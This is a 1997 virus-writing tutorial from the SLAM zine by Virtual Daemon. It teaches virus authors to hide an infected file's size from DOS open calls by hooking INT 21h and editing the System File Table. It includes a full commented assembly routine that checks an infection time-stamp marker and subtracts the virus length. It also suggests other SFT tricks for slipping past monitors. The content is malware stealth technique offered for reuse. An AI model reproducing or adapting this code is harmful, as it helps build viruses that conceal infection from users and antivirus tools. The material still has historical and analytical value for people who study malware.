SLAM4.015: Stealth Tutorial - Size Stealth #2 by Virtual Daemon/SLAM
⁄------------------------------------------ø
| Simple Tutorial to Stealth Viruses |
| Part #2 - Size Stealth #2 |
| by Virtual Daemon |
¿------------------------------------------Ÿ
Part I: Introduction & Theory
If you downloaded SLAM Magazine issue #3 you probably already saw my tutorial about size stealth. I presented there how to hide the size of your virus in case of find first/next calls. After writing that tutorial, I've come up with another idea of size stealth (already used in my "SkyWalker" virus). Since I didn't had the time to comment "Skywalker" as I wanted to, I will now try to present that method here... Well, actually it isn't a new method or something. I'm sure that it was used by many virus writers before me, but it just popped out of my head one day, so I used it! :) And now, it's your job to decide if it suits your needs or not...
First, let me explain something about this "new idea"... You already saw how a virus can hide the true size of an infected file. You can do that by simply intercepting the 11h/12h (find 1st/next FCB) and 4eh/4fh (find 1st/next file handle) functions. I will not re-explain how to intercept those functions and how to subtract the size of your virus. You can learn that from my prev. tutorial... I will only show you how to subtract the size of your virus in case of a 3dh/6c00h call (open/extended open). You probably have noticed that in the "Respect" virus, if you try to view an infected file, the true filesize will be displayed. That's natural and normal, since we're only stealthing the virus from find first/next calls. Well, in this short tutorial I will teach you how to hide your virus size from the open calls as well. So, from now on the size of your virus will remain INVISIBLE for any program that will try to view the size of your infected file.
Let's begin with the beginning. To put this new stealth method in application we have to intercept the 3dh (open a file handle) and 6c00h (extended open/ create) functions. Of course, in order to make it more complex and complete, we could intercept the 0fh (open a file via FCB) function as well. But since no program uses that function we'll just skip over it.
Here is a picture of our new INT 21h handler:
my_int21h_handler:
cmp ah,3dh ;open via file handle?
je open_file
cmp ax,6c00h ;extended open?
je open_file
... ;other stuff like 4bh (execute) or find 1st/next
exithandler:
db 0eah ;jmp to original Int 21h interrupt
oldint dd ?
Now that U saw how the handler is gonna look like, let's move to the stealth part. First the theory and then the code...
Note: I will use the same seconds number (60) as in the "SkyWalker" virus... Anyway, it's a piece of cake (read _coke_ ;) to modify the marking sign... ;)
In order to stealth the virus from open calls we use the SFT.
SFT or System File Table is a DOS-internal data structure used to maintain the state of an open file via FCB or via file handle. According to Ralf Brown's Interrupt List release 54, the DOS4+ System File Table structure looks approx. like this:
⁄--------¬-----------¬--------------------------------------------ø
| Offset | Size | Description |
√--------≈-----------≈--------------------------------------------¥
| 0h | DWord | Pointer to next system file table. |
| | | Offset ffffh indicates last table in chain |
√--------≈-----------≈--------------------------------------------¥
| 4h | Word | Number of file descriptors in table. |
√--------≈-----------≈--------------------------------------------¥
| 6h | 3Bh bytes | File descriptor table (59 bytes for every |
| | | handle). |
¿--------¡-----------¡--------------------------------------------Ÿ
The file descriptor table is an array of 3Bh (59) bytes. Here is its content:
⁄--------¬--------¬---------------------------------------------------ø
| Offset | Size | Description |
√--------≈--------≈---------------------------------------------------¥
| 0h | Word | Number of file handles referring to this file or |
| | | zero if file is no longer open. FFFFh if in use |
| | | but not reference. |
√--------≈--------≈---------------------------------------------------¥
|˘ 2h | Word | File open mode. Bit 15 set if file has been opened|
| | | via FCB. |
√--------≈--------≈---------------------------------------------------¥
|˘ 4h | Byte | File attributes. |
√--------≈--------≈---------------------------------------------------¥
| 5h | Word | Device info word: |
| | | bit 15 set if remote file |
| | | bit 14 set = don't set file date/time on closing |
| | | bit 13 set if named pipe |
| | | bit 12 set if no inherit |
| | | bit 11 set if network spooler |
| | | bit 7 set if device,clear if file (only local) |
| | | bits 6-0 as for AX=4400h |
√--------≈--------≈---------------------------------------------------¥
| 7h | DWord | Pointer to device driver header if char device, |
| | | else pointer to DOS Drive Parameter Block or |
| | | REDIR data. |
√--------≈--------≈---------------------------------------------------¥
| 0Bh | Word | Starting cluster of file (local files only). |
√--------≈--------≈---------------------------------------------------¥
|˛ 0Dh | Word | File time in packed format. |
√--------≈--------≈---------------------------------------------------¥
|˘ 0Fh | Word | File date in packed format. |
√--------≈--------≈---------------------------------------------------¥
|˛ 11h | DWord | File size. |
√--------≈--------≈---------------------------------------------------¥
|˘ 15h | DWord | Current file position (offset in file). |
√--------¡--------¡---------¬------------¬----------------------------¥
| | Local file | |
√--------¬--------¬---------¡------------¡----------------------------¥
| 19h | Word | Relative cluster within file of last cluster |
| | | accessed. |
√--------≈--------≈---------------------------------------------------¥
| 1Bh | DWord | Number of sector containing directory entry. |
√--------≈--------≈---------------------------------------------------¥
| 1Fh | Byte | Number of dir entry within sector (byte offset/32)|
√--------¡--------¡-----¬--------------------¬------------------------¥
| | Network redirector | |
√--------¬--------¬-----¡--------------------¡------------------------¥
| 19h | DWord | Pointer to REDIRIFS record. |
√--------≈--------≈---------------------------------------------------¥
| 1Dh | 3 BYTEs| ??? |
√--------¡--------¡---------------------------------------------------¥
√--------¬--------¬---------------------------------------------------¥
|˛ 20h |11 BYTEs| Filename in FCB format. |
√--------≈--------≈---------------------------------------------------¥
| 2Bh | DWord | SHARE pointer to previous SFT sharing same file. |
√--------≈--------≈---------------------------------------------------¥
| 2Fh | Word | SHARE network machine number which opened file. |
√--------≈--------≈---------------------------------------------------¥
|˘ 31h | Word | PSP segment of file owner. |
√--------≈--------≈---------------------------------------------------¥
| 33h | Word | Offset within SHARE code seg of sharing record. |
| | | 0000h = none |
√--------≈--------≈---------------------------------------------------¥
| 35h | Word | Absolute cluster number of last cluster accessed. |
| | | Zero if file has never been read or written. |
√--------≈--------≈---------------------------------------------------¥
| 37h | DWord | Pointer to IFS driver for file, 0 if native DOS. |
¿--------¡--------¡---------------------------------------------------Ÿ
Note: from offset 19h to 20h in the file descriptor table there are 2 subarrays one if the file opened is a local file and the other one in case of network redirector. For us, only the local file matters now...
So, this is the structure of SFT. The only thing that is important for us is the FDT (file descriptor table). So, what do you have to get from all this? Well, have a look at the marked offsets...
The offsets marked with "˛" are only used by our virus. The offsets marked with "˘" can also be used for other VX purposes. :)
Checked it? Well, I will re-take the important offsets for our virus and I will try to explain why are so important.
- offset 0Dh=file time packed. We use this in order to check if the file is infected (marked) with (by) our virus.
- offset 11h=file size. We subtract the size of the virus from this value.
- offset 20h=file name. We check to see if the file that it's being opened is a COM or EXE file.
Other important offsets that could be use in your virus are:
- offset 2h=file open mode. This offsets can be used to see or modify the open mode: 0 for reading, 1 for writing and 2 for both reading and writing. This also can be used to get rid of your mov ax,3d02h/int 21h (open for RW) instruction. You just have to open the file normal (just for reading) and then set the file open mode from this offset to 2.
- offset 4h=file attributes. In this offset are stored the file attributes. You can use it to modify the attributes to archive-only (for example), and thus you can get rid of your mov ax,4301h/xor cx,cx/int 21h, OR you can get the file attributes and thus you'll get rid of ur mov ax,4300h/int 21h instruction.
- offset 0Fh=file date packed. This can be used to get or set the file date,or can be used to check if the file is infected (marked) with your virus (same as offset 0Dh).
- offset 15h=curent file position. This offset contains the current position in file and can be used together with the LSEEK function. It's practically the same shit as the file pointer.
- offset 31h=PSP segment of file owner. This is the PSP of parent process. It is the same value as the word from PSP offset 16h.
Now that you know what SFT is and what are the important offsets, let's get to the theory part of subtracting the virus. It's very simple:
- intercept the open calls (3dh and 6c00h)
- fake an int21h to get the file handle
- check if the handle from AX is a device. Why are we doing this? Well, DOS reserves five special file handles for use by itself and application programs.
Here's the table:
⁄-------¬--------¬------------------------------------------------------ø
| Value | Name | Description |
√-------≈--------≈------------------------------------------------------¥
| 0000h | STDIN | Standard input device (usually the keyboard). |
| 0001h | STDOUT | Standard output device (usually the screen). |
| 0002h | STDERR | Standard error output device (always CON). |
| 0003h | STDAUX | Standard auxiliary device AUX (normally COM1). |
| 0004h | STDPRN | Standard printer device (PRN, normally LPT1). |
¿-------¡--------¡------------------------------------------------------Ÿ
So all we have to do is to check the handle to make sure that isn't bigger then 5. If it is bigger then 5, then it's a DOS special file handle and we'll have to exit from our procedure.
- save general registers AX, BX, DI and ES bcoz we'll change their content
- put the handle in BX and save it
- get the Job File Table entry for our handle. Will return is ES:DI the number of the SFT for our file handle, or FFh if the handle is not open. Here is the function:
--------------------------------------------------------------------
INT 2Fh - DOS 3.0+ internal - GET JOB FILE TABLE ENTRY
AX = 1220h
BX = file handle
Return: CF set on error
AL = 6 (invalid file handle)
CF clear if successful
ES:DI -> JFT entry for file handle in current process
Notes: the byte pointed at by ES:DI contains the number of the SFT for the
file handle, or FFh if the handle is not open
supported by DR DOS 5.0+
--------------------------------------------------------------------
- get the address of SFT (system file table) entry. Will return in ES:DI the system file table entry. Here is the function:
--------------------------------------------------------------------
INT 2Fh - DOS 3.0+ internal - GET ADDRESS OF SYSTEM FILE TABLE ENTRY
AX = 1216h
BX = system file table entry number
Return: CF clear if successful
ES:DI -> system file table entry
BX = relative entry number in system file table containing entry
AX destroyed
CF set if BX greater than FILES= (from CONFIG.SYS)
Note: supported by DR DOS 5+
--------------------------------------------------------------------
- check the offset at 28h (file name) if our file is really COM or EXE
- check the file's time (offset 0Dh) to see if the file is infected (marked) with our virus
- subtract the size of our virus from offset 11h (file size)
- restore AX, BX, DI and ES registers
- return to int 21h
Part II: Source code examples
Here goes the code for our procedure. I will explain everything so you can learn this crap! Don't worry! :)
--- cut here ---
open_file:
pushf
call dword ptr cs:[oldint21] ;fake an int 21h call (CF will be set if error)
;so we can obtain the file handle
jc fucked ;Error? Exit, please...
cmp ax,5 ;check if handle is a device
jb megafuck ;if ax is smaller then 5, then we're dealing
;with a DOS special handle and we must return
push ax bx di es ;save the AX, BX, DI and ES registers
xchg bx,ax ;put handle in BX
push bx ;save file handle on stack
mov ax,1220h ;DOS function=get job file table entry
int 2fh ;CF will be set if error
jc noway ;Error? Exit, please...
mov bl,es:[di] ;put the JFT entry on BL
cmp bl,0ffh ;if BL=0ffh, handle is not open
je noway ;handle not open? Exit please...
mov ax,1216h ;DOS function=get adress of SFT entry
int 2fh ;CF will be set if error
jc noway ;Error: BX is greater then FILES= (Config.Sys)
cmp word ptr es:[di+28h],'OC' ;check if the file is really a COM
jne check_exe ;if not COM check for EXE
cmp byte ptr es:[di+28h+2],'M'
jne check_exe
jmp found
check_exe:
cmp word ptr es:[di+28h],'XE' ;check if the file is really a EXE
jne noway ;no EXE and no COM? Pfuu... Exit then
cmp byte ptr es:[di+28h+2],'E'
jne noway
found:
mov ax,es:[di+0dh] ;get time from SFT
and al,1eh ;test if infected
cmp al,1eh ;the seconds must be set to 60
jne noway ;not infected? exit...
cmp word ptr es:[di],1 ;check if file has already been opened
ja noway ;too bad! We can't stealth it...
sub word ptr es:[di+11h],(heap-begin) ;subtract the size of our virus
sbb word ptr es:[di+13h],0 ;subtract the high word in case of EXE
noway:
pop bx ;restore file handle
pop es di bx ax ;restore ES, DI, BX and AX
megafuck:
clc
fucked:
retf 2 ;return
--- cut here ---
Well, this is the end of this shit... I personally know that it sucks, but it REALLY IS another way to hide the size of your virus.
Well, until next time....
Virtual Daemon / SLAM 1997